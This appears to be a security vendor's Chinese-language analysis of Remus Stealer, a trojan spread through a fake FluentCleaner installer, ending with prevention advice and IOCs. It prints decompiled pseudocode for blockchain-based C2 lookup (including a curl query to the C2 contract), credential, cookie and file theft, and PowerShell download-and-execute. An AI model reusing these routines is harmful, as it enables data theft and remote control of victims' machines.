WORD http_method[5] = { 0x8AE3, 0x1529, 0x4AA0, 0x982A, 0xB61F };
for (int i = 0; i < 5; i++)
    http_method[i] ^= (WORD)(-30029 * (i + 1));

// [4] JSON-RPC 请求体 → {"jsonrpc":"2.0","id":1,"method":"eth_call",
//        "params":[{"to":"0x999941b74F6bbc921D5174A5b29911562cd2D7CF",
//                   "data":"0xc2fb26a6"},"latest"]}
BYTE rpc_body[137];
memcpy(rpc_body, (void*)0x14002FEB6, 137);
for (int i = 0; i < 137; i++) {
    int c = i + 1;
    BYTE key = (BYTE)(((c & 0xB) * (c | 0xB) + ((c & 0xB) ^ 0xB) * (c & 0xF4)) & 0xFF);
    rpc_body[i] ^= key;
}

// [5] JSON 响应字段名 (栈立即数) → "result"
BYTE resp_field[7] = { 0x4E, 0x1D, 0xC7, 0x85, 0x40, 0x1C, 0xA4 };
for (int i = 0; i < 7; i++)
    resp_field[i] ^= (BYTE)(60 * (i + 1));
字段 说明
合约地址 0x999941b74F6bbc921D5174A5b29911562cd2D7CF RemusStealer C2 解析合约
函数选择器 0xc2fb26a6 keccak256 前 4 字节 (查询 C2 地址)
RPC 节点 ethereum-rpc.publicnode.com 公共以太坊 RPC

  实时查询命令如下:

curl -s -X POST https://ethereum-rpc.publicnode.com \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{"to":"0x999941b74F6bbc921D5174A5b29911562cd2D7CF","data":"0xc2fb26a6"},"latest"]}'

BuildHwid — hwid 硬件指纹生成

  上面 EtherHiding 解析出了 C2 地址(存入 g_szC2Hostname),但服务器如何识别是哪台受害机器在通信?答案就是这个 hwid 硬件指纹——它作为请求体的唯一受害者标识,让 C2 能关联同一机器的多次会话。BuildUserAgent_SystemFingerprint 内联完成计算:对 4 段 SMBIOS 硬件信息做 CRC32,经 SIMD 广播乘法 ×CRC32(额外串)、逐 DWORD 乘加(×K1+K2)混淆,最终 itoa base16 格式化为 32-hex。4 段输入经动态断点逐一确认(制造商/系统型号/UUID 二进制/序列号串):

#define K1 0xA814B126u    // 静态还原: 0x15C48CEB ^ 0xBDD03DCD (0x20BAC)
#define K2 0xC516E475u    // 静态还原: 0x9911530B ^ 0x5C07B77E (0x20C37)

char *BuildHwid(SMBIOS_Info *smbios)        // smbios = r15 指向的系统信息结构
{
    DWORD crc[4];

    // [2a] 4 段 CRC32, 输入为系统硬件信息字符串
    crc[0] = CRC32_Custom(smbios->manufacturer, 0x21A99E56); 
    crc[1] = CRC32_Custom(smbios->system_model, 0x21A99E56); 
    crc[2] = CRC32_Inline(smbios->uuid_bytes);              // SMBIOS UUID 原始 16 字节
    crc[3] = CRC32_Custom(smbios->serial_number_str, 0x21A99E56); // SMBIOS 序列号 ASCII 串

    // [2b] SIMD 广播乘法: 4 段 × CRC32(额外串) (0x1FE97-0x1FEC9)
    DWORD mul = CRC32_Custom(extra_str, 0x21A99E56);
    for (int i = 0; i < 4; i++)
        crc[i] *= mul;                        // pmuludq 等效

    // [2c] 逐 DWORD 乘加: crc[i] × K1 + K2 (0x20C05-0x20C5C)
    for (int i = 0; i < 4; i++)
        crc[i] = crc[i] * K1 + K2;

    // [2d] hex 格式化: 4 × itoa base16 → 32-hex (0x20CC8)
    static char hwid[33];
    char *p = hwid;
    for (int i = 0; i < 4; i++)
        p += itoa_ToString(crc[i], p, 9, 16); // base=16, 每段 8 hex
    return hwid;
}

BuildC2RequestBody — C2 请求体构建

  拿到 C2 地址(g_szC2Hostname)和受害者硬件指纹(hwid)后,Payload_Main 拼接请求体发往该地址:tag 硬编码 32-hex 会话标识标识本样本运行、exp Unix 过期时间戳控制请求时效、hwid 硬件指纹标识受害机器,三者构成 89 字节明文表单体,经 application/x-www-form-urlencoded 编码 POST 到 EtherHiding 解析的 C2:

char *BuildC2RequestBody(void)
{
    static char body[128];
    char *p = body;

    p += sprintf(p, "tag=%s",      g_szTagFingerprint);   //  硬编码 32-hex 会话标识
    p += sprintf(p, "&exp=%llu",   GetUnixTime());        //  URL 过期时间戳
    p += sprintf(p, "&hwid=%s",    BuildHwid(g_pSmbios)); //  硬件指纹 (本次确认)
    return body;
}

C2_CommunicationLoop — C2 通信主循环

  通信核心:前三步(解析 C2 地址 → 生成 hwid → 拼接请求体)的成果最终都汇聚到这里——先 EtherHiding 解析出 g_szC2Hostname,成功后循环向该地址发送前面拼接好的 POST 表单请求。每次发送前为路径附加 - 前缀(大包时改为 chunk--)区分请求轮次;发送失败累计 5 次后重新调用 EtherHiding_ResolveC2 拉取新地址(状态字节更新驱动)——由于攻击者可随时轮换链上 C2,重试逻辑让样本自动跟随服务器迁移:

NTSTATUS C2_CommunicationLoop(req_ctx *ctx, void *a2, size_t a3)
{
    DWORD retry = 0;

    // [4a] EtherHiding: 首次从以太坊智能合约解析 C2 地址 
    //      失败 → 直接返回 0
    if (!EtherHiding_ResolveC2())          // → g_szC2Hostname
        return 0;

    while (1) {
        // [4b] 构建请求路径: <数字>-<hostname>, 大包(≥2MB)时 chunk-<n>- 
        //      Format_Number(a3, buf, 128, 10) → 十进制 + '-' + g_szC2Hostname (宽→窄转换)
        if (a2 && a3)
            BuildPathPrefix(&ctx, a3, g_szC2Hostname);

        // [4c] 发送: POST http://<g_szC2Hostname> 
        //      v46 解密 = "POST", headers/body 由 ctx 传递 (表单编码)
        if (WinHTTP_SendRequest(g_szC2Hostname, &v46_POST, &ctx))
        {
            // 发送成功 → 进入响应处理逻辑 (含重试计数 v48 判断)
            ... 
        }

        // [4d] 重试计数: 发送失败累计 5 次 → 重新 EtherHiding 解析 
        if (++retry == 5) {
            g_eh_state = rotate_state(g_eh_state);  // 状态字节更新
            retry = 0;
            if (!EtherHiding_ResolveC2())     // 重新解析 C2 地址
                return 0;
        }
    }
}

JSON_ResponseParser — C2 响应 JSON 解析器

  通信循环收到 C2 响应后,JSON_ResponseParser 负责把响应正文解析为可查询的 JSON 节点结构。它是手写完整 JSON 解析器(非第三方库),支持对象/数组嵌套、字符串(含 \uXXXX Unicode 转义 → UTF-8)、数字(整数/浮点/指数)、true/false/null 字面量,并带 32 层嵌套深度限制

int JSON_ResponseParser(char *json, size_t *pPos, __int64 *pResult, void *pAlloc)
{
    // [1] 跳过空白 (空格/\\t/\\r/\\n/\\v/\\f)
    while (isspace(json[pos])) pos++;

    // [2] 按首字符分派
    switch (json[pos]) {
        case '"':   // 字符串: 逐字符扫描, 处理 \\ 转义
                    //   \\" \\\\ \\/ \\b \\f \\n \\r \\t → 对应字符
                    //   \\uXXXX → 16-bit Unicode → UTF-8 (1-3 字节)
                    return ParseString();

        case '{':   // 对象: 压栈 v74[++depth]=3, 键/值交替解析
        case '[':   // 数组: 压栈 v74[++depth]=2
                    // 深度 >32 → 返回 4
        case '}':   // 对象闭合: 弹栈, 括号不匹配 → 返回 6
        case ']':   // 数组闭合
        case ':':   // 键值分隔符
        case ',':   // 元素分隔符

        case '0'..'9':  // 数字: 整数累加 ×10, 遇 '.' 解析小数,
        case '-':       //       遇 e/E 解析指数 (含 +/- 号, 快速幂)
                        //   存为 double (IEEE-754 bit pattern → v22)

        case 't':   // true  → 0x7FFA000000000000 (double NaN 编码)
        case 'f':   // false → 0x7FFA800000000000
        case 'n':   // null  → 0x7FFF800000000000
    }

    // [3] 节点分配: 栈 v74[160] 数组缓存, 满 4096 字节 → Memory_Alloc 扩展
    //     节点结构: [value:QWORD][next:QWORD][key:QWORD]  (键/值/链表)
    //     key/value 挂到当前对象/数组的链表尾
}

JSON 辅助函数 — 解析结果的字段查找与取值

  JSON 解析输出的是节点链表,调用方通过三个辅助函数消费:JSON_LookupField 按字段名在链表中查找节点,JSON_GetInt/JSON_GetString 从节点取值。

// JSON_LookupField : 按字段名查找节点, 未找到返回 NULL
JSON_NODE *JSON_LookupField(JSON_OBJ *obj, char *field_name)
{
    JSON_NODE *node = obj->root & 0x7FFFFFFFFFFF;
    while (node) {
        if (String_Compare(node->key, field_name) == 0)
            return node;              // 命中
        node = node->next;            // 链表遍历
    }
    return NULL;
}

// JSON_GetInt : 节点值 → double (type 字段用)
double JSON_GetInt(JSON_NODE *node)
{
    return *(double *)node;           // 值存 double 位模式
}

// JSON_GetString : 节点值 → 字符串指针 (data/name/extensions 用)
char *JSON_GetString(JSON_NODE *node)
{
    return (char *)(node->value & 0x7FFFFFFFFFFF);   // 掩去类型标记
}

C2 命令分发 — type 字段驱动

  解析并取出 C2 响应字段后,C2Response_Dispatcher 依据 type 字段值分发到不同命令处理分支。type 值经 JSON_GetInt 取出,与混淆还原的校验值比较(type==5 时跳过循环内处理,延迟到循环结束后统一执行):

// JSON 响应 → type/data 字段 → switch 分发
switch (type) {                       // type = JSON_GetInt(LookupField("type"))
    case 0:                           // 解码执行
        // name 字段 → Base64_Decode → C2Cmd_DecodeAndExecute
        name = JSON_GetString(JSON_LookupField(root, "name"));
        payload = Base64_Decode(name);
        C2Cmd_DecodeAndExecute(payload, data);
        break;

    case 2:                           // 目录遍历
        DirTraverse_ProcessPath(data);            // 遍历路径 → 文件窃取
        break;

    case 3:                           // 浏览器配置枚举
        // 解密 "extensions" (MBA 0x64/0x9B, 密钥索引=jj+1) → JSON 取值 → 浏览器配置枚举
        Crypto_Setup_ExtField(field_ext);            // 加载密文
        for (jj = 0; jj < 11; jj++)
            field_ext[jj] ^= MBA(jj, 0x64, 0x9B);    // → "extensions"
        extensions = JSON_GetString(JSON_LookupField(root, field_ext));
        Browser_ProfileEnumerator(data, extensions);
        break;

    case 4:                           // 浏览器配置处理
        // 解密 "extensions" (imul 0x1F000000 shr24, 密钥索引=kk+1) → JSON 取值 → 浏览器配置处理
        Crypto_Setup_ExtField2(field_ext2);          // 加载密文
        for (kk = 0; kk < 11; kk++)
            field_ext2[kk] ^= 31 * kk;               // → "extensions"
        extensions = JSON_GetString(JSON_LookupField(root, field_ext2));
        BrowserConfig_Processor(data, extensions);
        break;

    case 5:                           // C2 命令执行 (下载执行 payload)
        // 跳过循环内处理, 循环结束后调用 C2Cmd_Processor
        break;
}

C2Cmd_DecodeAndExecute — 解码执行/文件窃取命令

  C2Cmd_DecodeAndExecute 是 C2 命令 type=0(解码执行)的实际处理函数,由 C2Response_Dispatcher 调用,入参为 Base64 解码后的数据与命令链表。它并非执行 shellcode,而是按 C2 下发的 JSON 规则遍历并窃取指定文件——每个命令节点指定路径/文件名/通配符/深度/链接/大小规则,样本据此遍历目录、筛选文件、打包上传。这是样本的核心数据窃取通道:C2 可下发任意路径/通配符规则,mask(通配符)与 depth(深度)组合可实现"窃取所有 *.docx/*.pdf/*.key 等"的定向数据收集,配合 size 上限避免超大文件:


bool C2Cmd_DecodeAndExecute(char *base_path, JSON_ARRAY *cmd_list)
{
    size_t base_len = strlen(base_path);          // strlen

    for (JSON_NODE *cmd = cmd_list; cmd; cmd = cmd->next) {
        // [1] 校验命令有效性: Crypto_HashDerive(cmd->key) == 混淆校验值
        WCHAR *key = String_CopyWide(cmd[2]);
        DWORD hash = Crypto_HashDerive(key);
        if (hash != HASH_CHECK)                   // 校验失败 → 跳过该命令
            continue;

        // [2] 解密 C2 下发的 6 个字段名 (全部经混淆还原):
        //     path/name/mask/depth/link/size
        char field_path[5];  field_setup_path(field_path);   // → "path"
        char field_name[5];  field_setup_name(field_name);   // → "name"
        char field_mask[5];  field_setup_mask(field_mask);   // → "mask"
        char field_depth[6]; field_setup_depth(field_depth); // → "depth"
        char field_link[5];  field_setup_link(field_link);   // → "link"
        char field_size[5];  field_setup_size(field_size);   // → "size"

        // [3] 从 JSON 命令节点取各字段值
        //     path  (字符串) → 拼接窃取路径 <base_path>/<path>
        //     name  (Base64) → Base64_Decode → 文件名
        //     mask  (数组)   → 文件通配符列表 (如 *.txt)
        //     depth (int)    → 目录递归深度上限
        //     link  (bool)   → 是否跟踪符号链接 (sub_140007BC0 NaN 检查)
        //     size  (int)    → 文件大小上限 (超过跳过)

        // [4] 构建完整路径: <base>/<path>  +  <hash>\<name>
        char *src_path = Concat(base_path, "/", decoded_name);
        WCHAR *dst_path = Concat(hash_key, "\\", name);

        // [5] 收集匹配文件列表 (JSONArray)
        JSONArray files = CollectMatchingFiles(mask, depth, link, size);

        // [6] 上传: MT19937_Seed → ProfileData_UploadViaDirTraverse → HTTP_BuildRequest
        MT19937_Seed(rand_ctx, 0);
        ProfileData_UploadViaDirTraverse(rand_ctx, src_path, dst_path,
                                         &files, size, depth, link);
        HTTP_BuildRequest(rand_ctx);              // 上传窃取数据到 C2

        // [7] 释放全部缓冲
        JSONArray_Free(&files);
        Memory_Free(dst_path); Memory_Free(src_path);
    }
    return success;
}

  6 个 C2 下发字段(均为运行时混淆解密还原):

字段 明文 用途
path path 要窃取的文件路径
name name 文件名
mask mask 文件通配符(如 *.txt)
depth depth 目录递归深度限制
link link 是否跟踪符号链接
size size 文件大小上限

DirTraverse_ProcessPath — 目录遍历文件复制命令

  DirTraverse_ProcessPath 遍历 C2 下发路径列表,将指定文件复制到临时目录,再以 Base64 解码出的名字重命名,最终打包上传 C2。与 C2Cmd_DecodeAndExecute 的按规则筛选不同,这里按具体文件路径逐个复制——C2 指定任意具体文件路径即可窃取,配合 path 直接指向敏感文件(如浏览器登录态、钱包文件、配置文件),是比通配符筛选更精准的定向窃取手段:

bool DirTraverse_ProcessPath(JSON_OBJ *path_list)
{
    MT19937_Seed(rand_ctx, 0);              // 初始化随机上下文

    for (JSON_NODE *node = path_list; node; node = node->next) {
        // [1] 取 "path" 字段 → 源文件路径 (0x140008E1A, key=36*i)
        char *src_path = JSON_GetString(JSON_LookupField(node, "path"));

        // [2] 若路径不是 "\" 开头: ResolveAPI 解析 → 文件系统访问检查 (0x80000000)
        //     失败 → 跳过该路径
        if (src_path[0] != L'\\' && !FileSysAccess(src_path))
            continue;

        // [3] 取 "value" 字段 → 复制文件 (带进度) → 返回文件数据
        char *value = JSON_GetString(JSON_LookupField(node, "value"));
        FileIO_CopyWithProgress(src_path, value, &file_data, &data_size);

        // [4] 取 "name" 字段 → Base64 解码 → 新文件名
        char *name = JSON_GetString(JSON_LookupField(node, "name"));
        BYTE *decoded = Base64_Decode(name);

        // [5] 打包: 文件名 + 文件数据 → 上传 blob
        PackToBlob(rand_ctx, decoded, file_data, data_size);
        HeapFree(decoded); Memory_Free(file_data);
    }

    return HTTP_BuildRequest(rand_ctx) & 1;   // 上传全部复制的文件到 C2
}

  3 个 C2 下发字段(运行时混淆解密还原):

字段 明文 用途
path path 要复制的源文件路径
value value 复制目标/数据处理
name name Base64 编码的新文件名

Browser_ProfileEnumerator — 浏览器数据窃取主循环

  Browser_ProfileEnumerator在C2 下发浏览器配置(Chrome/Firefox 等)后,样本解析配置 → 生成随机桌面名 → 创建隐藏桌面(反截屏/反监控)→ 遍历所有浏览器 Profile → 按标志窃取历史记录、保存的凭据(密码)、Cookie、LevelDB(扩展/加密钱包)、扩展数据 → 打包上传:

bool Browser_ProfileEnumerator(JSON_OBJ *profile_list, JSON_OBJ *browser_cfg)
{
    // [1] 解析浏览器配置 → 配置表 (每项24B: id+name+indb+sync)
    cfg_count = count(browser_cfg);
    cfg_table = Memory_Alloc(24 * cfg_count);
    for (browser in browser_cfg) {
        id   = JSON_GetString(LookupField(browser, "id"));    // → 浏览器标识
        name = JSON_GetString(LookupField(browser, "name"));  // → Chrome/Firefox
        indb = JSON_GetInt(LookupField(browser, "indb"));     // → IndexedDB 标志
        sync = JSON_GetInt(LookupField(browser, "sync"));     // → 同步标志
        StoreEntry(cfg_table, id, name, indb, sync);
    }

    // [2] 生成 16 字符随机桌面名 + 创建隐藏桌面 (反截屏/反监控)
    char desktop_name[17];
    for (int i = 0; i < 16; i++) {
        DWORD r = MT19937_Random(g_pMT19937State);
        r %= 36;                                     // base36
        if (r < 10)      desktop_name[i] = r + '0';        // 0-9
        else if (r & 1)  desktop_name[i] = (r - 10) + 'a'; // 小写 a-z
        else             desktop_name[i] = (r - 10) + 'A'; // 大写 A-Z
    }
    desktop_name[16] = 0;

    hDesktop = OpenDesktopW(desktop_name, 0, 1, DESKTOP_ALL_ACCESS);  // 0x140009759
    if (!hDesktop)
        hDesktop = CreateDesktopW(desktop_name, 0, 0, 0, DESKTOP_ALL_ACCESS, NULL); 

    // [3] 主循环: 遍历每个浏览器 Profile
    for (profile in profile_list) {
        // 3a. 路径哈希验证: Crypto_HashDerive(path) == 0xC0000023
        path = JSON_GetString(LookupField(profile, "path"));   // → Profile 数据路径
        if (Crypto_HashDerive(path) != HASH_CHECK) continue;

        // 3b. Profile 名称 (Base64) + 各数据文件路径标志
        name  = Base64_Decode(LookupField(profile, "name"));   // → Profile 名称
        pub   = LookupField(profile, "pub");    // → 公共路径
        exe   = LookupField(profile, "exe");    // → 浏览器 exe 路径
        lib   = LookupField(profile, "lib");    // → 浏览器 DLL 路径
        hist  = LookupField(profile, "history");      // → 历史记录
        creds = LookupField(profile, "credentials");  // → 保存的凭据(密码)
        cook  = LookupField(profile, "cookies");      // → Cookie
        ldb   = LookupField(profile, "ldb");          // → LevelDB (扩展/钱包)
        ext   = LookupField(profile, "extensions");   // → 扩展目录

        // 3c. 构建 56 字节 Profile 窃取结构 profile 
        PROFILE_BLOCK profile;                       // 56B: hDesktop/pszName/pszPublic/pszHash/pszExe/pszLib/fHistory/fCred/fCook/fLDB
        profile.hDesktop    = hDesktop;              // 隐藏桌面句柄 (可 NULL)
        profile.pszName     = name;                  // Base64 解码的 Profile 名称
        profile.pszPublic   = pub;                   // 公共数据目录
        profile.pszHash     = hash_path;             // 哈希路径 (→追加 \Local State)
        profile.pszExe      = exe;                   // 浏览器 exe 路径
        profile.pszLib      = lib;                   // 浏览器 DLL 路径
        profile.fHistory    = hist;
        profile.fCredentials = creds;
        profile.fCookies    = cook;
        profile.fLDB        = ldb;

        // 3c2. 解密外泄文件名前缀 (6B, poly-XOR) → String_Concat
        char exfil_prefix[7];
        ExfilPrefix_Load(exfil_prefix);           // 加载 6B 密文
        for (int n = 0; n < 6; n++)
            exfil_prefix[n] = exfil_prefix[n] + MBA(n) - 2 * (exfil_prefix[n] & MBA(n));  // poly 还原
        String_Concat(exfil_prefix);

        // 3d. MT19937_Seed(1) → ProfileData_ProcessAndUpload
        //     拼接 'Local State' → NT 路径 → 上传
        MT19937_Seed(rand_ctx, 1);
        ProfileData_ProcessAndUpload(ctx, &profile, cfg_table, cfg_count);

        // 3e. Session 标志判断 (v261[2]): 有 session → 解密 'Session' 前缀
        if (has_session) {
            char session_prefix[8];
            for (i = 0; i < 7; i++) session_prefix[i] ^= 13 * i;   // → "Session"
            String_Concat(session_prefix);
        } else {
            char empty_prefix[9];
            for (i = 0; i < 8; i++) empty_prefix[i] += 70 * i - 2 * (empty_prefix[i] & (70 * i));  // → "Empty..."
            String_Concat(empty_prefix);
        }

        HTTP_BuildRequest(ctx);              // 上传该 Profile 全部数据到 C2
    }

    Desktop_Close(hidden_desktop);           // 关闭隐藏桌面
    Memory_Free(cfg_table);
    return has_upload;
}

BrowserConfig_Processor — 浏览器配置目录遍历上传

  BrowserConfig_Processor采用递归目录遍历策略——对 C2 下发 path 指向的特定 Profile 目录,递归遍历该目录下全部文件(不区分文件类型)并上传,确保不遗漏任何数据:

bool BrowserConfig_Processor(JSON_OBJ *profile_list, JSON_OBJ *browser_cfg)
{
    // [1] 解析浏览器配置 → 配置表 (16B/项: id+name)
    cfg_count = count(browser_cfg);
    cfg_table = Memory_Alloc(16 * cfg_count);
    for (browser in browser_cfg) {
        id   = JSON_GetString(LookupField(browser, "id"));    // → 浏览器标识
        name = JSON_GetString(LookupField(browser, "name"));  // → 浏览器名称
        StoreEntry16(cfg_table, id, name);
    }

    // [2] Profile 遍历: 路径哈希验证 (Crypto_HashDerive == 0xC0000023)
    for (profile in profile_list) {
        path = JSON_GetString(LookupField(profile, "path"));  // → Profile 路径
        if (Crypto_HashDerive(path) != HASH_CHECK) continue;  // 防篡改

        name = Base64_Decode(LookupField(profile, "name"));   // → Profile 名称
        hist = JSON_GetInt(LookupField(profile, "history"));  // → History 标志
        ext  = JSON_GetInt(LookupField(profile, "extensions")); // → 扩展标志

        // [3] 构建 profile 结构 (56B)
        PROFILE_BLOCK profile = {0};
        profile.pszName     = name;          // Base64 名称
        profile.pszHash     = hash_path;     // 哈希路径 → 目录遍历根
        profile.fHistory    = hist;          // C2 下发
        profile.fCredentials = TRUE;         
        profile.fCookies     = TRUE;         

        // [4] MT19937_Seed(2) → BrowserData_UploadViaDirTraverse
        //     递归遍历 Profile 目录 → 逐文件回调上传
        MT19937_Seed(rand_ctx, 2);
        BrowserData_UploadViaDirTraverse(ctx, &profile, cfg_table, cfg_count);
        HTTP_BuildRequest(ctx);          // 上传全部收集的浏览器数据到 C2

        HeapFree(name); Memory_Free(hash_path);
    }

    Memory_Free(cfg_table);
    return has_upload;
}

C2Cmd_Processor — 命令执行/下载执行

  C2Cmd_Processor 遍历命令链表,解密 8 个 JSON 字段(type/mode/path/fn/arg/url/data),经 Base64 解码 URL 后用 WinHTTP 下载,最后由执行引擎 C2Cmd_Executor 按 mode/type 执行。type 决定载荷类型(0=.exe 1=.dll 2=.ps1 3=raw命令),mode 决定执行方式(0=下载执行 1=直接命令行执行)

bool C2Cmd_Processor(JSON_OBJ *cmd_list)
{
    for (cmd in cmd_list) {
        // [1] 解密 8 个字段名 (全部混淆还原):
        //     type/mode/path/fn/arg/url/data + "GET"
        type = JSON_GetInt(LookupField(cmd, "type"));   // → 载荷类型 (0=.exe 1=.dll 2=.ps1)
        mode = JSON_GetInt(LookupField(cmd, "mode"));   // → 执行方式 (0=下载执行 1=PS命令行 其他=注入)
        path = JSON_GetString(LookupField(cmd, "path")); // → 目标路径
        fn   = JSON_GetString(LookupField(cmd, "fn"));   // → 函数名
        arg  = JSON_GetString(LookupField(cmd, "arg"));  // → 参数
        url  = JSON_GetString(LookupField(cmd, "url"));  // → 下载 URL

        if (url) {
            // [2] url → Base64 解码 → UTF8→UTF16 → WinHTTP GET 下载
            payload = Base64_Decode(url);
            url_utf16 = UTF8_To_UTF16(payload);
            WinHTTP_SendRequest(url_utf16, "GET", &ctx);
        } else {
            // [3] 无 url → 取 data 字段 (内联载荷)
            data = JSON_GetString(LookupField(cmd, "data"));
        }

        // [4] 执行: C2Cmd_Executor(mode, type, path, fn, arg, url/data, len)
        //      实参顺序 = (mode, type, ...) — IDAMCP: mov ecx,ebp(mode) mov edx,ebx(type)
        C2Cmd_Executor(mode, type, path, fn, arg, &payload, len);
    }
}

  执行引擎 C2Cmd_Executor ( mode 决定执行方式 / type 决定载荷类型)

  mode=0 从 C2 下载载荷(Base64 解码 → WinHTTP GET → 随机目录名落盘)后执行;mode=1 直接执行 C2 下发的内联载荷。type 决定启动模板:.exe 直接启动、.dll 经 rundll32 加载并调用导出函数、.ps1 经 powershell -exec bypass 运行。统一经 CreateProcessW(动态解析绕 IAT)静默启动,规避 UAC 提权。

// mode: 0=下载执行 1=直接命令行执行; type: 0=.exe 1=.dll 2=.ps1 3=raw命令
switch (mode) {
    case 0:  // 下载执行: path %VAR%展开 → 随机目录名+扩展名 → NtWriteFile落盘 → 执行
        expanded_path = ExpandEnv(path);          // Crypto_HashDerive(0x14002C8C0): %VAR%展开
        random_dir = MT19937_Random();            // 16字符随机目录名
        NtWriteFile(hFile, payload, payload_len); // sub_14002DE20: 9参数syscall写盘(0x8491D19)
        // type: 0=CreateProcessW(路径,NULL) 直接启动
        //       1=CreateProcessW(NULL, "rundll32 \"<dll>",<fn>,<arg>") 加载DLL调导出函数
        //       2=CreateProcessW(NULL, "powershell -exec bypass \"<ps1>\"") + CREATE_NO_WINDOW
        break;

    case 1:  // 直接命令行执行: CmdLine = payload (type=2 加 "powershell -exec bypass " 前缀)
        CmdLine = "powershell -exec bypass " + payload;
        break;
}

// 统一执行: CreateProcessW (动态解析自 kernel32.dll, 绕IAT)
// lpApplicationName 仅 type=0 用; v46: ps1 场景=0x8000000(CREATE_NO_WINDOW), 其余=0
// 环境变量 "__COMPAT_LAYER=RunAsInvoker" → 规避 UAC 提权

CreateProcessW(lpApplicationName, CmdLine, NULL, NULL, 0,
               v46, "__COMPAT_LAYER=RunAsInvoker", NULL, &si, &pi);

数据采集上报 — 循环结束后两批窃取/采集

  9 轮 C2 轮询结束、命令分发完成后,C2Response_Dispatcher 在资源清理前执行两批数据采集/窃取:批次 1 采集已安装软件与进程列表、窃取 Roblox Cookie 与 Steam 凭据,批次 2 采集 CPU/主板硬件信息与屏幕位图、窃取剪贴板文本,构成设备指纹 + 凭据窃取组合。每批数据经 HTTP_BuildRequestChaCha20(MT19937 一次性密钥,尾部附加 40 字节密钥头)加密,按 multipart/form-data POST 至 C2,上传文件名固定为 honey@pot.com.pst

// 9 轮 C2 轮询结束后,分两批采集/窃取数据 → ChaCha20 加密 → multipart POST 上传
MT19937_Seed(p_batch1, 0);              // 生成随机ID → 批次1前缀标识
Fingerprint_Collect_InstalledSW(p_batch1);   // 枚举注册表 → 已安装软件列表
Fingerprint_Collect_Processes(p_batch1);     // 枚举系统进程 → 进程名列表
Steal_RobloxCookie(p_batch1);               // 读 Roblox 本地 Cookie 文件 → 提取并上传
Steal_Steam(p_batch1);                      // 定位 Steam 安装目录 → 窃取配置凭据文件
HTTP_BuildRequest(p_batch1);                // 加密 → multipart 上传批次1

MT19937_Seed(p_batch2, 0);              // 生成随机ID → 批次2前缀标识
if (a2 & 1)
    Collect_ScreenInfo(p_batch2);       // [条件] 采集 CPU/主板硬件信息 + 屏幕位图
Steal_Clipboard(p_batch2);              // 读取剪贴板文本 → 窃取上传
HTTP_BuildRequest(p_batch2);            // 加密 → multipart 上传批次2

  六个采集/窃密函数的功能说明如下:

函数 功能 相关解密字符串
Fingerprint_Collect_InstalledSW 枚举注册表软件列表键,逐个读取 DisplayName,收集系统已安装软件清单 DisplayName
Fingerprint_Collect_Processes 查询系统进程信息,枚举全部运行进程名,转 UTF8 后追加 Processes
Steal_RobloxCookie 读取 %LocalAppData%\Roblox\LocalStorage\RobloxCookies.dat,解析 JSON 提取 CookiesData 字段(Roblox 会话凭据)后上传 %LocalAppData%\Roblox\LocalStorage\RobloxCookies.datCookiesDataApplications/Roblox/Cookies.txt
Steal_Steam 先检查 steam.exe 是否运行;否则读注册表 Valve\Steam\InstallPath 定位安装目录,窃取 config\config.vdf(含账号凭据) steam.exe\REGISTRY\MACHINE\SOFTWARE\Valve\SteamInstallPath\config\config.vdf
Collect_ScreenInfo 采集 CPU/主板硬件信息(型号、核心/线程数)与屏幕显示位图 motherboardproductmanufacturercore countcore enabledthread countthread enabled
Steal_Clipboard 打开剪贴板,读取 UNICODE 文本内容并上传 Clipboard.txt

攻击过程可视化(EDR)

  瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程以及相关的域名等情况。

image

总结

  在开源软件蓬勃发展的当下,知名开源Windows清理工具FluentCleaner凭借其简洁高效的清理能力和广泛的用户基础,成为众多用户优化系统的首选。然而,此次仿冒FluentCleaner的恶意攻击事件,让广大用户深刻认识到,在享受开源软件便利的同时,不能对其下载来源与安全性掉以轻心。

  攻击者通过仿冒FluentCleaner官方渠道(fluentcleaner.org)投放带毒安装包,以"白加黑"手法将恶意mscoree.dll与正规程序二次打包,巧妙地利用了用户对开源软件的信任,将Remus Stealer窃密木马传播至用户终端。该木马具备多重反检测机制,不仅通过沙箱DLL哈希比对、蜜罐文件与CPUID虚拟机特征检测规避了虚拟机与沙箱分析,还采用SSN直连syscall绕过EDR用户态Hook,并将解密的内嵌窃密木马注入合法进程ServiceModelReg.exe中执行,成功突破了用户的安全防护体系。一旦木马在用户系统中运行,便会经EtherHiding链上C2动态获取控制地址并下发命令,定向窃取浏览器凭据、Cookie、Steam/Roblox账号及C2指定文件,加密回传后给用户带来极大的数据泄露与安全风险。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本

image

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    6959d1a00c0dd4a2e6779be2049cfd30
    61e1669ed9f2ab2a4b9662a67628b177
  • Domain

    fluentcleaner.org
    fightwa.biz
    zelpx.garden
    tzpx.courses
  • 瑞星病毒名

    Trojan.Kryptik/x64!1.143B8

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *